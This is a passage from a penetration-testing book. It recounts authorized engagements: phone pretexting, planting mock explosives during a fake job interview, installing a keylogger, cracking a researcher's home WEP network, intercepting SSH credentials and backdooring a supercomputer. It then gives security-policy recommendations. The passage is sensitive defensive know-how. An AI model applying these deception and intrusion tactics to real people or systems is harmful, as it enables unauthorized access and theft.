swift:\n‘Nederlabs, Goedemorgen. U spreekt met Vanessa Jannssen. Hoe kan ik\nu helpen?’\n‘Hello, can I speak to Pieter De Vries please?’ I asked.\n‘Oh, er, I’m afraid he’s not in the office right now actually he’s on\nvacation, would you like to leave a message?’ she replied, switching to\nEnglish.\n‘No that’s fine, I’ll call him some other time,’ I said and hung up.\nI plugged in my Skype phone, told it to send my New York number as\ncaller ID and called Nederlabs again.\n‘Nederlabs, Goedemorgen. U spreekt met Vanessa Jannssen. Hoe kan ik\nu helpen?’\n‘Good morning, do you speak English?’ I said, putting on my best New\nYork accent and hoping the receptionist wouldn’t see straight through it.\nMost native English speakers certainly would. I made a mental note to\npractice my voices more.\n‘Certainly, how can I help you?’ she replied obviously keen to show that\nshe spoke excellent English as do all the Dutch.\n‘My name’s Michael Rees. I’m calling from Phemonex,’ I said.\n‘Ah, OK,’ she replied, clearly familiar with the name, ‘Who do you need?’\n‘Right, well, here’s the thing. I’m coming to Holland in a couple of weeks\nto meet with Mr De Vries and I’m having a lot of trouble finding a hotel\nroom. Apparently there’s some kind of festival on.’\n‘Ah, yes,’ she said, ‘Carnaval. It’s a Dutch religious festival.’\nI was well aware that Carnaval was an alcohol-fueled week of mayhem\nthat took place in the Netherlands every year and happened to coincide\nwith the project. Quite what it had to do with religion was anyone’s guess.\n‘That would explain it,’ I said.\nThe receptionist gave me some suggestions on where to find a room and\nI asked, ‘Is Mr. De Vries in the building?’ Here was the crunch, either, as\nI was hoping, he was on vacation or the receptionist had just been told\nto say this.\n‘I’m sorry he’s still in Spain, can I take a message for you?’ she said.\n" }, { "page_number": 215, "text": "NIGHT VISION\n193\n‘Ah, of course he is. Tell you what, would you mind giving me his\nextension? I’ll call him before I leave for Amsterdam. I did have it, but\nit’s with the rest of my Filofax, probably still in the back of a taxi in\nLondon.’\n‘Oh dear, OK. It’s 424,’ she replied.\n‘Thanks!’\nNow you’re probably thinking that that was an awful lot of work just\nto get someone’s telephone extension. However, a lot of companies\n(certainly in the Netherlands) give numbers to rooms based on floor level\n– that is, 424 would be on the fourth floor. Telephone extensions in such\ncompanies are almost always the same as the room number. Following\nthis logic and with a little luck, the MD’s office is room 424, which was\nnot as we had suspected, on the fifth floor.\nI checked my email and discovered I had been invited for an interview on\nMonday. It was now Thursday and we had until the following Wednesday\nto complete the assignment. This was going to be tight. I wanted to use\nthe interview as an opportunity to introduce our ‘explosives’ into or at\nleast close to the laboratory facilities, which is why I would be angling\nfor some kind of tour. The labs would likely be tightly locked down at\nnight and, in any case, combining that with the penetration of the MD’s\noffice in one mission would take too long. The only problem was that I\ndoubted I would be in the building for very long once they started asking\nme the technical interview questions. No matter how much I studied for\nthem, it was unlikely I was going to fool anyone that I had a clue for very\nlong. Social engineering was only going to get me so far.\nIt was time to determine when we were going to carry out the nighttime\nintrusion. Based on the information we had, we could choose to execute\nthe mission on Sunday night prior to the ‘job interview’ or wait until\nMonday night in the hope that we might obtain further information that\nwould be useful in the nighttime penetration. On balance, we decided\nto take the latter route; we still knew nothing about the interior of the\nbuilding and anything I might discover on Monday could be potentially\nuseful. Also, there were certain advantages to hitting the place on a week\nnight in terms of the disguises we might be able to adopt when inside the\nfacility. It is rare for employees in the Netherlands to go into work on the\nweekend, particularly on Sunday. It’s not, however, rare for them to work\nlate during the week. If we could get inside the building on Monday night\nand look the part, we would probably have less of a chance of being\nchallenged by security. Therefore, it was determined that my goals when\nattending the Monday interview were as follows:\n•\nGet an idea of the passes worn by permanent members of staff and if\npossible try and sneak out my guest pass.\n" }, { "page_number": 216, "text": "194\nTALES FROM THE FRONT LINE\n•\nDetermine how much reliance was placed on electronic key readers\nand how many we would be likely to have to pass to gain access to\nthe fourth floor.\n•\nDetermine camera coverage within the public areas of the building.\n•\nTake note of the general dress sense of staff in order to provide\nbelievable cover during the final penetration.\n•\nDeploy ‘explosives’ in or as close to laboratory facilities as possible.\nCarrying Out the Attack\nMonday morning came around and I pulled into the guest car park in\nmy rented car. Despite the elderly guard at the barrier, who just waved\nme through without challenge, I could detect no security presence so far.\nInside reception things were a little different. Two guards stood by the\ngate to the lifts and once again there were a number of cameras. The girl\nat reception provided me with a standard paper guest pass in a plastic\nwallet (see Figure 9.7).\nI was starting to wonder if my bag was going to be searched and I kicked\nmyself that I hadn’t considered this obvious possibility before. In it, I had\na plastic block convincingly molded to look like Hollywood’s idea of\nplastic explosive and a camera. If the guards clapped eyes on the contents,\nI doubted I would have time to show them my get-out-of-jail-free card\nbefore I was tasered. Luckily, there was to be no tasering that day. Five\nminutes later my contact for the interview arrived, shook my hand and\nswiped me through the gate.\nFigure 9.7\nA standard visitor pass such as this is easy to replicate.\n" }, { "page_number": 217, "text": "NIGHT VISION\n195\nIt wasn’t long before I was able to answer one question: lab-coat chic\nwas definitely the order of the day. We already had white lab coats so\nthat at least wasn’t going to be a problem. It looked like the interview\nitself was going to take place in a meeting room close enough to the\nlabs that I could see scientists busying themselves with microscopes\nbehind some glass doors. Those doors were swipe-card protected but\nnone of the others we’d passed through had been. This boded well for the\nrest of the building. I excused myself momentarily to use the bathroom\nand used the opportunity to lift one of the foam tiles and hide one of my\nplastic blocks in the ceiling cavity.\nThe interview itself was pretty horrendous, with the interviewers exchang-\ning glances a couple of times. I’m guessing they thought I was a journalist\nor an animal rights activist. In any case, I was ushered out of the building\nfairly quickly. I was able to hold on to my guest pass but I doubted it\nwould be particularly useful. It didn’t really matter; I had what I came for.\nThat night we prepared for the intrusion into the MD’s office. One\noperator would be in his car across the road in permanent contact ready\nto cause a diversion if necessary. A colleague and I were going to perform\nthe penetration and were dressed in white lab coats with suits and ties\nunderneath. We all had the MD’s home phone number on speed dial.\nPersonally, I would have preferred the attack to go down differently;\nto con our way in at the front door but that’s not what the rules of\nengagement called for.\nAt about 8:30 pm, we were outside the facility by the chain-link fence\ndoing a last minute reconnoiter. It’s good we did. From where we were\ncrouching it was possible, thanks to the interior lighting, to see that a\nbalcony on the second floor adjoined the caf´e area inside. Directly below\nthat, going all the way to the ground, was a drain pipe. If we were\nprepared to take a little risk, we might be able to get up the pipe right\ninto the building. We agreed we’d go one at a time. If I was caught, then\nmy colleague still had a chance to try something different but if I was\nsuccessful I’d be able to watch out for him as he was coming up the pipe.\nSometimes it’s best to just go with a plan – think too much and you’d\nrealize what a stupid idea it really was.\nWe cut a hole about 0.5 meters square in the chain-link fence. By that\ntime it was dark enough and we were far enough from the cameras not\nto feel too concerned about anyone seeing us. I squeezed through and\nmade a beeline for the drain pipe. It was now or never. It took me about\n10 minutes to get up the pipe and my face level with the second floor.\n(I’m not 18 any more.) I could see a group of people inside the caf´e but\nthey weren’t paying any attention to the balcony. I heaved myself up and\n" }, { "page_number": 218, "text": "196\nTALES FROM THE FRONT LINE\nsat down on one of the chairs then signaled to my colleague that it was\nhis turn. To my slight annoyance he made it up the pipe faster than I did\nbut we grinned at each other over the coffee table. We got up and went to\nopen the door into the caf´e, which was locked. Now people were paying\nattention to us. One of the caf´e staff opened the door and at looked at us\nmore quizzically than suspiciously.\n‘Sorry, I didn’t think anyone was out here,’ he said, a little confused.\nWe left the caf´e and went up the stairs to the fourth floor. It was about this\ntime I realized that our hands (and our pristine lab coats) were covered\nin grime from the pipe. I put my hands in my pockets, which also had the\neffect of folding my lab coat out behind me. Problem solved. On the way\nwe passed a couple of cleaning staff and someone in a suit who paid us no\nattention whatsoever. We found room 424 easily enough and one look at\nthe lock told us we’d have no problem getting in if we weren’t disturbed.\nThe fourth floor appeared deserted, but that could change at any time.\nI called both the lifts and propped them open with chairs. Another chair\nunder the door handle to the stair well might hold – we’d have to wait\nand see. My colleague, being the better locksmith, had already gone to\nwork and a couple of minutes later he had the door open. I whipped the\nkeyboard cable out of the back of the computer and attached the key\nlogger. We were done.\nAs we closed the door to the office, we heard a commotion coming from\nthe stair well; someone was trying to get in. With no time to relock the\noffice, we legged it to the lifts, discarded one of the chairs and punched\nthe ground-floor button. On the way down, we quickly debated our\noptions: go out the front door or out of a window and back across the\nparking lot to the fence. We chose the former, which turned out to be the\nbest option as the bored security guard barely glanced at us as we did\nour best to nonchalantly walk out of the gate and not panic and run. We\ncrossed the road, got in the car and were away.\nConclusion\nProtecting your staff and facilities from terrorists and bombers is virtually\nimpossible. However, there are a few ways that Nederlabs could have\nbeen a little bit more secure.\n•\nIf you believe there to be a genuine risk that someone might bomb\nyour building (as was the belief here) then search all guests, without\nexception. This includes job-interview candidates. A device that easily\nfits into a backpack is capable of wrecking devastation once brought\ninside, no matter where it’s placed. Similarly, suspect packages should\nbe examined by a fluoroscope before being opened.\n" }, { "page_number": 219, "text": "UNAUTHORIZED ACCESS\n197\n•\nUnless cameras are specifically designed to work in low lighting, they\nare completely useless after dark. In this instance, every square foot\nof the premises should have been floodlit after dark.\n•\nRazor wire, unless properly deployed, serves no purpose other than\nto make your site ugly. Solid high walls that extend deep enough into\nthe ground to defeat tunneling are a much more practical alternative.\n•\nWe didn’t wear ID badges in the building yet no one challenged us.\nAdmittedly, it was late and there weren’t many people around but this\nis no excuse. Always challenge anyone not wearing a badge and, if\nin doubt, call security immediately.\nUnauthorized Access\nOur last case study looks at a physical penetration test I did for a university\nin London. It may seem a little unfair to include a college; they’re not\nexactly known for being high-security facilities, however this particular\ncollege hosted a powerful supercomputing center that was outsourced to\ndo spatial modeling for the military, specifically to assess the effects of\ndifferent classes of nuclear warheads in an urban environment modeled\non the city. It unnerved me a little to know that such testing still goes on\nbut at least these days it’s modeled in computers rather than in actual\nurban environments.\nMost of the university was just like any other: an open campus with stucco\nbuildings and young idealistic students (who would probably freak if they\nknew the sort of research that took place under their noses). Tucked away\nfrom prying eyes a few select graduate students and government scientists\nwere laboring away on a top-secret project. How far away from prying\neyes was where we came in.\nThe Mission\nIt was an interesting assignment. We had three weeks to access data\nrelating to the project on the IBM Bluegene and a completely open scope\nto do it. We were permitted to use any means we saw fit to gain access;\nafter all, foreign intelligence services were unlikely to restrict themselves\nto a few port scans and other low-level hack attacks. Ultimately, physically\npenetrating the facility was likely to yield the best results.\nInformation Gathering\nI wasn’t familiar with the college at all, so the first step was to determine\nthe most likely location of the supercomputer laboratory. This wasn’t\n" }, { "page_number": 220, "text": "198\nTALES FROM THE FRONT LINE\ndifficult. There were three campuses: one specializing in drama and the\narts, one for business management and one for the sciences – particularly\ncomputer science and high-energy physics (for which it had recently won\na sizeable government grant). Well, it didn’t take a rocket scientist to\nfigure out the most likely candidate. I pulled up everything I could on the\nSouth End campus including satellite imagery and staff profiles.\nThere would be plenty of time to figure out the layout of the campus.\nI already possessed the requisite long hair and ripped jeans to pass as\na student; however first I wanted to profile potential graduate students\nworking on the project. This way we could attack other university systems\nsuch as human resources and student administration and pool all the\ninformation we needed to launch solid social-engineering attacks. We\nalso needed to determine everything we could about their supercomputer:\nwhat it was called, where it was housed and how it was accessed over\nthe network. The physics department website boasted that they had\nrecently taken possession of a brand new IBM Bluegene named Deep\nBlue Thought. This I assumed was a pun on Deep Thought and Big Blue,\nreferences to the Hitchhiker’s Guide to the Galaxy and IBM itself. This\ncomputer was high on the Top 500 list, where its military uses were\nopenly stated (see Figure 9.8).\nFigure 9.8\nThe TOP500 list maintains information about the most powerful computers in\nthe world.\n" }, { "page_number": 221, "text": "UNAUTHORIZED ACCESS\n199\nUniversity systems are far easier to profile and explore than commercial\nsystems for several reasons: the lack of a security budget; the requirement\nand perception that resources be open and easy to access; and the\nfact that university networks tend to be sprawling beasts, encompassing\ndifferent departments and campuses without a clear upgrade policy and\nsegregation of access. You get to the point where you’re just too big to\nsurvive. All of this adds up to some serious sleepless nights if you’re the\npoor soul responsible for keeping it all secure.\nLooking at the university’s DNS records I found a host called\nDBTHOUGHT and a couple of traces showed that it lived in a separate\nsubnet off the main physics intranet and was heavily firewalled. Possibly\nthe only way to access the system was within this subnet or via an\nestablished secure channel with the physics department. After browsing\nthe physics website for a few minutes I ran across instructions for\naccessing the supercomputer from outside the university premises – the\nbeauty of academic openness in action. We could access DBTHOUGHT\nfrom the Internet but only certain IP addresses were permitted to do so:\nthe IP addresses at the homes of the research scientists permitted to\naccess it remotely. In total, we would need:\n•\nA username and a password\n•\nAn additional one-time password supplied by an RSA token\n•\nThe ability to connect from a white-listed IP address.\nThis wasn’t going to be easy, but we’d faced worse odds in the past.\nThe parameters of this test were slowly starting to change; rather than\nphysically penetrating the physics facility, it might just be possible to do\nit by attacking the residence of one of the scientists. We had an open\nscope but how far did that extend? I decided to check with the client\nand explain the plan. As far as they were concerned this was a perfectly\nviable attack and should be pursued. In fact, it was something they hadn’t\nreally considered and the security policies in place (while addressing\nsecure remote access) contained nothing regarding the configuration of\nthe remote systems themselves.\nPlanning\nNow we needed to pick a viable target. Reviewing the list of researchers\nattached to the high-energy physics labs, we came up with a list of five\nnames. We then called each of them purporting to be from the university.\nThe plan was to find the guys who worked (at least some of the time)\nfrom home.\n" }, { "page_number": 222, "text": "200\nTALES FROM THE FRONT LINE\nOur glamour in this case was that a new initiative was being launched\nto provide remote researchers with the resources they needed to be able to\nwork efficiently: computer equipment, training, and so on. Our goal was\nto determine who would have remote-access credentials but, of course,\nusing this approach it might also be possible to launch a Trojan horse\nattack, for example, by sending users some software that would give us\nremote access to their computers.\nVery quickly we whittled our list down to two potential targets, one of\nwhom was currently in the US, which left us with Dr Engelbert, a big\nname in particle research. I called him up:\n‘Dr Engelbert, hi. My name’s Chuck. I’m calling from the university,’\nI opened.\n‘Yes indeed, and I WILL have those expenses back to you this week as I\ntold your colleague,’ he replied, a little irritated.\nI laughed, ‘Erm, no. I’m calling to tell you about our new initiative.\nEssentially we’re providing equipment, software and training to our new\nscientists and . . . ’\n‘Really?’ He broke in, interested. ‘I need a couple of wireless cards to tell\nyou the truth. They’re bloody expensive and I haven’t had a chance to\nget any in.’\nWireless? Hello . . ..\n‘Hmmm. OK. We have a couple right here that I can dispatch for you\ntoday, but I’ll need some details from you regarding your setup,’ I said.\nBut before I could continue, he interrupted again, ‘Ah, I assure you, it’s\nvery well set up. I use only WEP with a 128 KB key for security and\nmy access point is hidden,’ he said a little bit more proudly than the\ncircumstances called for.\nWEP? Oh dear.\n‘Well, it seems you know your stuff,’ I replied deferentially. ‘I’ll get this\nhardware to you directly.’\n‘Thank you, thank you very much. I appreciate it.’\n‘No problem at all,’ I said, hanging up.\nNow we were getting somewhere. Our next goal would be to park\noutside his house and hack his wireless network. As he was using WEP,\nthis would likely be a simple affair. That left us with the task of acquiring\nhis login credentials and – the hardest part of all – the RSA token one-\ntime password. I wasn’t yet sure how I was going to do that, probably\nsome form of social engineering.\n" }, { "page_number": 223, "text": "UNAUTHORIZED ACCESS\n201\nDespite the fact that WEP is a horrendously insecure form of encryption\n(regardless of key length), it is still widely deployed, particularly in\npeoples’ homes, which is why I give cracking it such prominence in\nChapter 7.\nIn principle, we now had a similar situation to the SCADA one. We\nwere attacking a secure system through an insecure end point, in this\ncase the home of a research scientist user of the supercomputer. Acquir-\ning the target’s address was a simple matter. Although he wasn’t listed in\nthe phone book, we were able to obtain his details using the electoral roll\ndatabase – a list of registered voter information that the government (for a\nprice) makes available to the general public. The software we used for this\nwas the UK Info Disk, but there are alternatives. We could probably have\nobtained the address from the college as well.\nCarrying Out the Attack\nDr Engelbert’s address was in London, just south of the river and we\ndecided to hit his network that night. After what felt like an age, we\nfinally found a parking spot within wireless range – at a cost of £15 an\nhour (welcome to London). Using a directional antenna, we were quickly\nable to determine which access point belonged to the good doctor and,\nof course, the fact that it was ‘hidden’ made absolutely no difference\nwhatsoever. Also, the name of the network itself (Engelbert house) was a\ndistinct giveaway.\nAs expected, the network was ‘secured’ using WEP encryption and,\nutilizing the tools and techniques outlined in Chapter 7, we were able to\ncompromise it in about 15 minutes.\nThe next stage was to obtain login credentials for the Bluegene super-\ncomputer and we knew from the access instructions on the university\nwebsite that logins are carried out over SSH. SSH is an encrypted proto-\ncol (substantially more secure than WEP), however this doesn’t mean it’s\ncompletely hack proof. In some versions, it is possible to intercept the\nlogin credentials despite the encryption if you can intercept the encrypted\ntraffic. Having cracked the WEP key, our plan of attack was as follows:\n1.\nLog in to Engelbert’s network.\n2.\nIntercept a login attempt to the Bluegene and acquire credentials.\n3.\nObtain RSA token codes.\nFor the interception attack, we would use the excellent multitalented\nsoftware Cain (see Chapter 7). Cain has the functionality to intercept\n" }, { "page_number": 224, "text": "202\nTALES FROM THE FRONT LINE\nFigure 9.9\nCain gave us access to all sorts of information.\nthe traffic between selected workstations and gateways and automatically\ngathers passwords from encrypted and non-encrypted traffic, this includes\nSSH v1.0. If the Bluegene supported v1.0 (and this is default behavior)\nthen, when Dr Engelbert logged in, we would have his username and\npassword. Even if he tried to log in using a more secure variant of SSH,\nCain would try to force a connection using v1.0.\nWe were in luck. Less than an hour later (this is why you need spare\nbatteries for your laptop), Engelbert’s laptop connected to the Bluegene\nand Cain logged in as shown in Figure 9.9.\nExcellent! We now had the following:\n•\nUsername: engelbertg.\n•\nPassword: kloothommel.\n•\nOne-time password: 17834.\nThe problem was that the one-time password changes every minute\nand is only good once. While we were puzzling about this, I noticed\nfrom the traffic analysis that Engelbert was running a web server on\nthis network. Intrigued, I decided to take a look before we left for\nthe day. Most of the site was pretty dull – a couple of research\npapers, a r´esum´e, and some really bad poetry. Then I saw something\nthat made my jaw drop. Engelbert was running a webcam on his\ndesk and right in front of us, clearly visible, was the RSA token (see\nFigure 9.10).\nThis was a staggering failure of security that I almost felt guilty exploiting.\nAlmost. With the RSA token, we were easily able to log in to the Bluegene,\nwhich displayed the following welcome screen:\n" }, { "page_number": 225, "text": "UNAUTHORIZED ACCESS\n203\n*************************************************************************************\n*\nWelcome to the 16 racks BlueGene/P system DBTHOUGHT ∼\n*\n* Information about the system, latest changes, user documentation and FAQs on the\n*department website.\n*\n*\n* Filesystems /usr/local and /arch are NOT mounted on IONs.\n* BG/P examples, see: /bgsys/local/samples/helloworld\n* WallClockLimit is 24 h, number of steps in a LoadLeveler job is restricted to 15\n*\n*************************************************************************************\n* !!!!!!!!\nInterruptions of supercomputer operations\n!!!!!!!!\n*\n* The expansion of the supercomputer and the installation of new supercomputers\n* will cause DBTHOUGHT to be not available from March to June.\n*\n* DBTHOUGHT will be shut down on\n*\nMarch 30, 2009\n* and will be extended to a petaflop/s system, going into production end of\n* June 2009.\n*\n*******************************\n* Production on DBTHOUGHT started (after long maintenance): Friday 6.3.09 16:00\n*************************************************************************************\n[engelbertg@dbthought ∼] $\nFigure 9.10\nA webcam can be a hacker’s best friend.\n" }, { "page_number": 226, "text": "204\nTALES FROM THE FRONT LINE\nI hoped the good doctor wouldn’t get into too much trouble for this\nlapse, but why on earth was he pointing a webcam at a security token?\nWhile there were probably 100 ways we could have compromised the\nsupercomputer, in the end it certainly wasn’t hard for us. We quickly\ninstalled our own back door to allow unrestricted access in the future\nfrom any IP address and called it a night.\nConclusion\nThere’s always more than one way to skin a cat. I had the opportunity\nof speaking to Dr Engelbert some time later and asked him why his set\nup was the way it was. He replied that he had a tendency to lose tokens\nand had been told that if he lost another one, his remote access would\nbe terminated. This way he could get a number from the token either at\nhome or in the laboratory . . . .\nIn this instance, the client believed that the only way an attacker could\naccess the supercomputer was locally despite the fact that remote access\nhad been enabled to permit the researchers to work in a realistic manner.\nUltimately, this left security entirely in the hands of those working\nremotely.\nThis is not the only time I’ve used network cameras or webcams to com-\npromise security. One particular client (a very large payment processor)\nhad very high-resolution cameras that could be accessed via a web page\nand could be controlled remotely. This allowed me to read all manner\nof interesting notice boards and sticky notes. Once again, security is\nonly as strong as the weakest link; that link, very often, is your users.\nIf you provide remote access to sensitive assets, you should take some\nresponsibility for not only educating your users but assisting with and\nverifying the security of their home systems.\nSummary\nYou can plan your testing in fine detail but the reality is that, once the\nengagement begins in earnest, the parameters change quickly and you\nmust be prepared to adapt accordingly. I quoted in Chapter 2 that ‘the\nfirst casualty of war is the plan’ but a better quote from a 19th century\nPrussian general is that ‘no plan survives contact with the enemy.’\nThe common theme throughout this chapter is simple: systems that were\nsupposed (and believed) to be secure were not – nowhere near – and\nfor the attacker (the testers, in this case) compromising these systems\nwas a matter of studying how they worked, finding a weak point (either\n" }, { "page_number": 227, "text": "SUMMARY\n205\nsomething that had been overlooked or an inherent weakness) and\nexploiting it. Remember that obscurity is not the same thing as security\nand very few things are genuinely secret. We didn’t need access to\nclassified information to take control of a critical SCADA system, only\nto Google and the right phone numbers. All we needed to get access to\na secure laboratory was a good cover story, and to attack a classified\nsupercomputer we went after the weak end point – a home user.\nOnce you learn to look at security as a whole, as a sum of its parts,\nyou realize that nothing is truly secure – there’s nothing that can’t\nbe compromised. The job of a penetration tester is not to prove that\nweaknesses exist but to find them, exploit them and be the catalyst for\nchange.\n" }, { "page_number": 228, "text": "" }, { "page_number": 229, "text": "10\nIntroducing Security Policy Concepts\nA security policy (or information security policy) is documentation that\ndefines the operating requirements, procedures and constraints that must\nbe adhered to before an organization can be considered secure. A policy\nalso makes it clear to staff what is expected of them and, as adhering\nto the security policy should be part of the conditions of employment,\nprovides a disciplinary framework should the policy be ignored. However,\na well written and executed policy is far more than simply a stick to beat\nemployees with (although many companies, ignorant of basic operational\nsecurity consider it to be nothing else). It is a tool that augments the\nsecurity of an organization at every level:\n•\nDefines security operating procedures (the steps that must be taken\nwhen performing background checks on staff, the minimum length of\na password, and so on);\n•\nEnsures that staff are aware of what is expected of them (in the\nhandling of sensitive information, in not writing down passwords, and\nso on);\n•\nOutlines the steps to be followed in the event of a security incident.\nYou will notice that these purposes overlap; this is both intentional and\nunavoidable.\nThis chapter focuses on the aspects one must consider when drafting\nsecurity policy documentation. Because virtually every aspect of business\ncan be regulated in some way, this chapter concentrates on the most\nimportant areas (at least from the perspective of this book) so I’m not\ngoing to be paying too much attention to things such as antivirus and\npatch management software. The benefits of such technologies should\nbe obvious to anyone reading this book, which is not to say that they\nshouldn’t be in the policy. I just want to keep it more interesting and\n" }, { "page_number": 230, "text": "208\nINTRODUCING SECURITY POLICY CONCEPTS\nrelevant. This chapter analyzes the following aspects of security and\nprovides examples of how they should be regulated:\n•\nPhysical security and access control;\n•\nProtectively marked or classified material;\n•\nCommunications security;\n•\nBackground checks;\n•\nSecure destruction of data;\n•\nData encryption;\n•\nOutsourcing;\n•\nIncident response.\nThese areas are most relevant to the core subject matter of this book\nand it should be clear by the end of the chapter how mitigating and\ndocumenting them would prevent or at least frustrate a lot of the attacks\nthat have been discussed. Each section here would easily fill a book of\nits own; they are separate disciplines and areas of expertise in and of\nthemselves.\nIt is very difficult to plan security countermeasures without a good policy\nin place and it is virtually impossible to gauge your ongoing ability to\nresist attack. Therefore, where possible, I include examples of security\npolicy statements that you can reuse in your own documentation.\nPhysical Security\nThis part of the security policy describes the physical threats that an\norganization faces, the measures in place to protect it, and specific\nguidance on implementation. In the context of information security, the\ngoal is to protect the information systems from attack and compromise.\nThis can be achieved in a number of ways and simple examples include\nrequiring doors to be locked or specifying a particular brand of high-\nsecurity lock to be used. Physical security can be described in as detailed\na manner as you wish but usually covers the following areas:\n•\nPerimeter security;\n•\nCameras and closed-circuit TV;\n•\nAccess control;\n•\nHuman security;\n•\nPhysical mail security;\nAgain, this list is not set in stone and contains overlapping subject matter.\n" }, { "page_number": 231, "text": "PHYSICAL SECURITY\n209\nPerimeter Security\nPerimeter security ensures that the physical borders of the site are secure.\nThe way this is implemented in practice is dependent on the nature of the\nsite, the assets needing protection and the perceived level of threat. For\nexample, a paper factory probably doesn’t need 3-meter walls capped\nwith razor wire and motion sensors but for a prison this would be the bare\nminimum. The security function of a perimeter is to provide a physical\nand legal deterrent to intrusion and a clear, legally enforceable perimeter.\nExamples of policy statements that address perimeter security include the\nfollowing:\n•\nPerimeter fencing should be no less than [3] meters tall and by its\nnature should indicate the boundary of private land.\n•\nPerimeter lighting should provide sufficient illumination in and around\nfacilities in order to detect and observe approaching people. It should\ndiscourage intrusion and opportunistic criminal activity such as theft\nor vandalism.\n•\nThe facility perimeter should be clearly indicated, for example through\nthe use of exterior signs. Signs should be located so that they are clearly\nvisible on all sides of the facility.\n•\nLandscaping should support the protection of facilities and assets by\npromoting surveillance and minimizing cover available to an intruder.\nThe perimeter, particularly at points of ingress or egress, should be\ncovered by CCTV monitoring. CCTV units should have a clear field of\nvision of one another.\nClosed-Circuit TV Monitoring\nMost facilities make at least limited use of camera security and this\nshould be defined in the security policy to ensure correct planning and\noperational deployment. The policy should define how cameras are\nplaced and monitored, and how security staff respond to a suspected\nincident. Well deployed CCTV systems are invaluable in protecting the\nphysical security of a facility though they should never be relied upon\ncompletely, as you have already seen. CCTV provides a combination\nof deterrence, monitoring and legal non-repudiation. The following are\ngeneric examples of statements to include in the security policy that can\nbe adapted by any organization:\n•\nAll areas of the premises should be covered by CCTV, where viable,\nwith special emphasis on points of ingress and egress, elevators and\nentrances to secure areas.\n" }, { "page_number": 232, "text": "210\nINTRODUCING SECURITY POLICY CONCEPTS\n•\nSecure areas should be covered by live CCTV feeds during times that\naccess is possible.\n•\nAll CCTV-monitoring staff should be certified to the appropriate level,\nhaving passed a course that teaches all necessary operational and\nlegal aspects of the job.\n•\nThe quality of CCTV images must be high enough to be submitted as\nevidence in a court of law.\n•\nCCTV cameras must be capable of working consistently in the envi-\nronment in which they are deployed. In changing environments (for\nexample, low light) cameras should have satisfactory night-vision or\nthermal-vision capabilities.\nAccess Control\nIn information security, given a wide-enough context, access control can\nbe extended to mean virtually anything. In physical security, it refers\nspecifically to the access privileges given to staff and visitors and how\nthey are enforced. This encompasses badge and ID pass policy, how\nvisitors are handled, the technology used to separate privilege within a\nbuilding (such as electronic tokens) and the types of barrier that must\nbe crossed to gain entry into the building or a secure area, such as man\ntraps.\nBecause of the ever-changing face of technology, it is a good idea to keep\npolicy statements reasonably vague regarding specific measures but at\nthe same time specific enough to leave no operational misinterpretation.\nThe following range of policy statements are good examples of the sorts\nof thing you need to be thinking about:\n•\nAll employees, contractors and visitors are required to wear official ID\nbadges at all times. Anyone not wearing an official ID badge should\nbe challenged.\n•\nProximity tokens are required to open doors relevant to the holder’s\nlevel of access.\n•\nAreas entered by proximity tokens (or other electronic control) may\nonly be accessed by the token holder. Tokens must not be shared\nwith other members of staff, visitors or contractors. However, it is\npermissible for members of staff to open doors for visitors for whom\nthey are directly responsible, providing the visitors are escorted.\n•\nIt is forbidden to permit others access to areas accessible by proximity\ntokens. If followed into a secure area by someone not in possession\nof a valid token, that individual should be challenged.\n•\nA lost or stolen ID badge or proximity token should be immediately\nreported to the security department.\n" }, { "page_number": 233, "text": "PHYSICAL SECURITY\n211\n•\nAll visitors must sign in at reception where they will be issued with\ntemporary ID badges. Visitors must remain in reception while awaiting\ntheir point of contact.\n•\nAll visitors may be subjected to a bag search at any time.\n•\nAll visitors must be escorted by a full member of staff (not a contractor)\nfor the duration of their stay.\nHuman Security\nI’ve used the term ‘human security’ for want of something better (an ‘anti-\nsocial-engineering policy’ just sounds stupid). If you’ve read Chapter\n4, then you’re aware of the type of threat that needs to be countered.\nThis means educating staff and making security awareness a priority,\nbut certain behavior and responses should be dictated by the security\npolicy: this way the rules apply to everybody and no one can complain\nthat they are being unfairly treated. It is not possible to train staff to be\nconstantly on the lookout for attack, nor is that desirable. If you become\ntoo paranoid then simply doing business becomes impossible. Strive to\nachieve a balance in matters of human security.\nThe following are suggested statements that can be incorporated into the\nsecurity policy:\n•\nEmployees should avoid discussing confidential information over\nthe phone if possible. Employees should never discuss or provide\nconfidential or privileged information to someone they do not know,\nregardless of who they claim to be. If a caller becomes upset or angry\nimmediately transfer them to your manager.\n•\nEmployees should double-check email addresses or encryption sig-\nnatures before responding to email regarding sensitive or privileged\ninformation. If in doubt, do not respond.\n•\nEmployees should never open email attachments from strangers. Staff\nshould refrain from sending files via email whenever possible and\nshould instead use secure internal resources.\n•\nEmployees should be aware of their environment. People acting\nsuspiciously should be challenged or reported to security.\nPhysical Mail Security\nWhen the Unabomber was caught, the corporate world breathed a huge\nsigh of relief. The fear of receiving nail bombs and other unpleasant\nsurprises in the mail seemed to be a thing of the past. This all changed in\nthe wake of 9/11 and the anthrax attacks that swept the United States. In\n" }, { "page_number": 234, "text": "212\nINTRODUCING SECURITY POLICY CONCEPTS\nthe United Kingdom in 2007, a number of devices were sent to business\naddresses including the Driver and Vehicle Licensing Agency (DVLA).\nUsing the mail services to deliver explosive and poisonous packages to\ntargets is a common tactic among various groups and it is everyone’s job\nto mitigate the danger this represents. Consequently, it is not a bad idea\nto at least think about the risk and it’s a very good idea to integrate your\nconclusions into the security policy. How far you wish to go is of course\ndown to you.\nBusinesses need to calculate the risks associated with their area of\noperations but if they believe the work they do might be targeted by this\nkind of attack then they should take precautions . As previously stated in\nthis book, protecting yourself against physical attack is far more difficult\nthan protecting against computer hackers but the following security policy\nstatements should at least provide food for thought:\n•\nAll packages from an unknown source should be subjected to fluoro-\nscope scanning before being opened.\n•\nIf a device is suspected – whether due to fluoroscope scanning or other\nmeans – security should immediately be notified and the building\nevacuated. The security department is responsible for notifying law\nenforcement and first responders.\n•\nUnattended bags or packages should be treated as potentially danger-\nous. All staff and visitors should keep their possessions with them at\nall times. If a device is suspected – and staff are encouraged to err on\nthe side of caution – security should be immediately informed and\ntheir instructions followed.\n•\nSuspect packages should be left where they are prior to evacuation.\nAvoid unnecessary handling and do not shake or sniff the package.\nFollowing evacuation, wash hands thoroughly.\n•\nSuspicious mail should be immediately reported to the security depart-\nment. Mail may be considered suspicious if it meets any of the\nfollowing criteria:\n•\nIt has no return address, restrictive markings (such as ‘personal’ or\n‘confidential’).\n•\nIt is from a country from which it is unusual for the business to\nreceive mail.\n•\nIt has excessive postage.\n•\nIt is mailed to a job title, particularly if the title is incorrect.\n•\nIt has poor spelling or typing.\n•\nIt has protruding wires.\n•\nIt has a 